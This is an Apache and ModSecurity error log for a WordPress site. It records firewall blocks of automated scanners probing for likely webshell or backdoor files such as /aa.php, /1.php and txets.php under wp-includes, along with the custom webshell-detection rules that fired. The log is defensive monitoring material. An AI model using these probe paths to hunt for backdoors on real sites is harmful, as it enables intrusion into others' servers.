[Thu Feb 26 15:55:03.142752 2026] [:error] [pid 20419:tid 20425] [client 20.151.2.242:28427] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-head.php"] [unique_id "aZ_8V-3DVDvMfTYYUBXT6AAAAcM"]
[Thu Feb 26 15:55:04.753325 2026] [:error] [pid 55618:tid 55637] [client 20.151.2.242:28562] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-head.php"] [unique_id "aZ_8WB61Vrh12f_8oWSmUAAAARA"]
[Thu Feb 26 15:55:05.888619 2026] [:error] [pid 25311:tid 25335] [client 20.151.2.242:28493] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/options-head.php"] [unique_id "aZ_8WdfdM__yZAgJFSsx_gAAAZU"]
[Thu Feb 26 15:55:06.940768 2026] [:error] [pid 25311:tid 25315] [client 20.151.2.242:28497] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aZ_8WtfdM__yZAgJFSsyCAAAAYE"]
[Thu Feb 26 15:55:08.556327 2026] [:error] [pid 55618:tid 55639] [client 20.151.2.242:28584] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aZ_8XB61Vrh12f_8oWSmWAAAARI"]
[Thu Feb 26 15:55:10.535655 2026] [:error] [pid 54990:tid 55014] [client 20.151.2.242:28439] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aZ_8Xntr2qmt_mBhH2zuMwAAABU"]
[Thu Feb 26 15:55:12.427434 2026] [:error] [pid 55618:tid 55640] [client 20.151.2.242:28599] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ty.php"] [unique_id "aZ_8YB61Vrh12f_8oWSmZQAAARM"]
[Thu Feb 26 15:55:14.435420 2026] [:error] [pid 3883:tid 3906] [client 20.151.2.242:28558] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZ_8YuA33x90V6yYHai8iQAAAVQ"]
[Thu Feb 26 15:55:15.748706 2026] [:error] [pid 20419:tid 20438] [client 20.151.2.242:28529] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZ_8Y-3DVDvMfTYYUBXUCwAAAdA"]
[Thu Feb 26 15:55:17.109883 2026] [:error] [pid 3883:tid 3894] [client 20.151.2.242:28559] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZ_8ZeA33x90V6yYHai8mgAAAUg"]
[Thu Feb 26 15:55:19.547194 2026] [:error] [pid 55051:tid 55076] [client 20.151.2.242:28608] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aZ_8ZwmK1w2kZvh5eLH9ugAAAJY"]
[Thu Feb 26 15:55:26.300645 2026] [:error] [pid 55618:tid 55625] [client 20.151.2.242:28583] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aZ_8bh61Vrh12f_8oWSmfgAAAQQ"]
[Thu Feb 26 15:55:27.114906 2026] [:error] [pid 25311:tid 25335] [client 20.151.2.242:28429] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aZ_8b9fdM__yZAgJFSsyXQAAAZU"]
[Thu Feb 26 15:55:29.635098 2026] [:error] [pid 20419:tid 20428] [client 20.151.2.242:28567] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aZ_8ce3DVDvMfTYYUBXUJwAAAcY"]
[Thu Feb 26 15:55:30.883729 2026] [:error] [pid 25311:tid 25315] [client 20.151.2.242:28647] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/go.php"] [unique_id "aZ_8ctfdM__yZAgJFSsyYgAAAYE"]
[Thu Feb 26 15:55:31.535932 2026] [:error] [pid 55122:tid 55127] [client 20.151.2.242:28653] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aZ_8c4LiR0OfjFxvcN_fFgAAAMM"]
[Thu Feb 26 15:55:34.801718 2026] [:error] [pid 55122:tid 55124] [client 20.151.2.242:28660] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aZ_8doLiR0OfjFxvcN_fHAAAAMA"]
[Thu Feb 26 15:55:35.973072 2026] [:error] [pid 20419:tid 20423] [client 20.151.2.242:28506] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aZ_8d-3DVDvMfTYYUBXUMgAAAcE"]
[Thu Feb 26 15:55:37.369304 2026] [:error] [pid 54991:tid 55030] [client 20.151.2.242:28557] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aZ_8ed4Zx-mJ8gbRB2iiHQAAAEo"]
[Thu Feb 26 15:55:38.543266 2026] [:error] [pid 25311:tid 25324] [client 20.151.2.242:28641] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aZ_8etfdM__yZAgJFSsydQAAAYo"]
[Thu Feb 26 15:55:39.661794 2026] [:error] [pid 55618:tid 55623] [client 20.151.2.242:28548] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aZ_8ex61Vrh12f_8oWSmmAAAAQI"]
[Thu Feb 26 15:55:40.718843 2026] [:error] [pid 20419:tid 20422] [client 20.151.2.242:28635] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aZ_8fO3DVDvMfTYYUBXUOwAAAcA"]
[Thu Feb 26 15:55:41.825268 2026] [:error] [pid 25311:tid 25320] [client 20.151.2.242:28560] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/my.php"] [unique_id "aZ_8fdfdM__yZAgJFSsyfgAAAYY"]
[Thu Feb 26 15:55:42.591381 2026] [:error] [pid 54991:tid 55027] [client 20.151.2.242:28629] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aZ_8ft4Zx-mJ8gbRB2iiIQAAAEc"]
[Thu Feb 26 15:55:43.273802 2026] [:error] [pid 3883:tid 3907] [client 20.151.2.242:28607] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aZ_8f-A33x90V6yYHai9CgAAAVU"]
[Thu Feb 26 15:55:44.522925 2026] [:error] [pid 3883:tid 3899] [client 20.151.2.242:28670] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aZ_8gOA33x90V6yYHai9EgAAAU0"]
[Thu Feb 26 16:19:31.682227 2026] [:error] [pid 3883:tid 3900] [client 101.33.80.42:41136] [client 101.33.80.42] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaACE-A33x90V6yYHajNdwAAAU4"]
[Thu Feb 26 17:21:12.260529 2026] [:error] [pid 25311:tid 25319] [client 2.58.56.91:58262] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aaAQiNfdM__yZAgJFStU7AAAAYU"]
[Thu Feb 26 17:21:12.768259 2026] [:error] [pid 55051:tid 55075] [client 2.58.56.91:50628] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aaAQiAmK1w2kZvh5eLEjtwAAAJU"]
[Thu Feb 26 17:21:13.270295 2026] [:error] [pid 55618:tid 55624] [client 2.58.56.91:57741] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aaAQiR61Vrh12f_8oWS6LgAAAQM"]
[Thu Feb 26 17:21:16.099548 2026] [:error] [pid 54991:tid 55042] [client 2.58.56.91:62839] [client 2.58.56.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "aaAQjN4Zx-mJ8gbRB2iuUQAAAFY"]
[Thu Feb 26 18:57:13.875594 2026] [autoindex:error] [pid 3883:tid 3909] [client 193.37.32.26:60783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:57:14.677001 2026] [autoindex:error] [pid 3883:tid 3907] [client 193.37.32.26:60783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:57:14.847165 2026] [autoindex:error] [pid 3883:tid 3891] [client 193.37.32.26:60783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 18:57:15.128606 2026] [autoindex:error] [pid 3883:tid 3907] [client 193.37.32.26:60783] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 20:54:16.117900 2026] [:error] [pid 44444:tid 44460] [client 43.157.52.37:59626] [client 43.157.52.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaBCeG2sMNmj-yekUk0RPAAAAgo"]
[Thu Feb 26 21:03:11.171712 2026] [:error] [pid 54990:tid 55007] [client 20.216.146.160:34256] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaBEj3tr2qmt_mBhH2wm7wAAAA4"]
[Thu Feb 26 21:03:11.643208 2026] [:error] [pid 44444:tid 44468] [client 20.216.146.160:11308] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaBEj22sMNmj-yekUk0WKgAAAhI"]
[Thu Feb 26 21:03:12.121136 2026] [:error] [pid 55051:tid 55066] [client 20.216.146.160:11237] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaBEkAmK1w2kZvh5eLGmiQAAAIw"]
[Thu Feb 26 21:03:12.594397 2026] [:error] [pid 55051:tid 55058] [client 20.216.146.160:3090] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aaBEkAmK1w2kZvh5eLGmjAAAAIQ"]
[Thu Feb 26 21:03:13.069968 2026] [:error] [pid 20419:tid 20445] [client 20.216.146.160:33116] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBEke3DVDvMfTYYUBVSXwAAAdc"]
[Thu Feb 26 21:03:13.539345 2026] [:error] [pid 55051:tid 55073] [client 20.216.146.160:16422] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBEkQmK1w2kZvh5eLGmkwAAAJM"]
[Thu Feb 26 21:03:14.008427 2026] [:error] [pid 54991:tid 55038] [client 20.216.146.160:11276] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBEkt4Zx-mJ8gbRB2jj7AAAAFI"]
[Thu Feb 26 21:03:14.478025 2026] [:error] [pid 54991:tid 55028] [client 20.216.146.160:36979] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aaBEkt4Zx-mJ8gbRB2jj7QAAAEg"]
[Thu Feb 26 21:03:14.947661 2026] [:error] [pid 20419:tid 20427] [client 20.216.146.160:21246] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aa.php"] [unique_id "aaBEku3DVDvMfTYYUBVSZAAAAcU"]
[Thu Feb 26 21:03:15.415593 2026] [:error] [pid 55051:tid 55058] [client 20.216.146.160:32560] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aa.php"] [unique_id "aaBEkwmK1w2kZvh5eLGmnwAAAIQ"]
[Thu Feb 26 21:03:15.889630 2026] [:error] [pid 54991:tid 55032] [client 20.216.146.160:35941] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aa.php"] [unique_id "aaBEk94Zx-mJ8gbRB2jj7wAAAEw"]
[Thu Feb 26 21:03:16.359233 2026] [:error] [pid 54991:tid 55021] [client 20.216.146.160:39514] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aa.php"] [unique_id "aaBElN4Zx-mJ8gbRB2jj8AAAAEE"]
[Thu Feb 26 21:03:16.828654 2026] [:error] [pid 54991:tid 55040] [client 20.216.146.160:36961] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aaBElN4Zx-mJ8gbRB2jj8wAAAFQ"]
[Thu Feb 26 21:03:17.301824 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:17746] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aaBElW2sMNmj-yekUk0WOwAAAhU"]
[Thu Feb 26 21:03:17.773652 2026] [:error] [pid 54991:tid 55039] [client 20.216.146.160:39519] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aaBEld4Zx-mJ8gbRB2jj9QAAAFM"]
[Thu Feb 26 21:03:18.251312 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:33100] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/1.php"] [unique_id "aaBEluA33x90V6yYHajffwAAAUc"]
[Thu Feb 26 21:03:18.733594 2026] [:error] [pid 55122:tid 55132] [client 20.216.146.160:3105] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaBEloLiR0OfjFxvcN8tvQAAAMg"]
[Thu Feb 26 21:03:19.219729 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:14708] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaBEl-A33x90V6yYHajfhAAAAVA"]
[Thu Feb 26 21:03:19.691267 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:49705] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/templates/beez/index.php"] [unique_id "aaBEl9fdM__yZAgJFSvcqwAAAYk"]
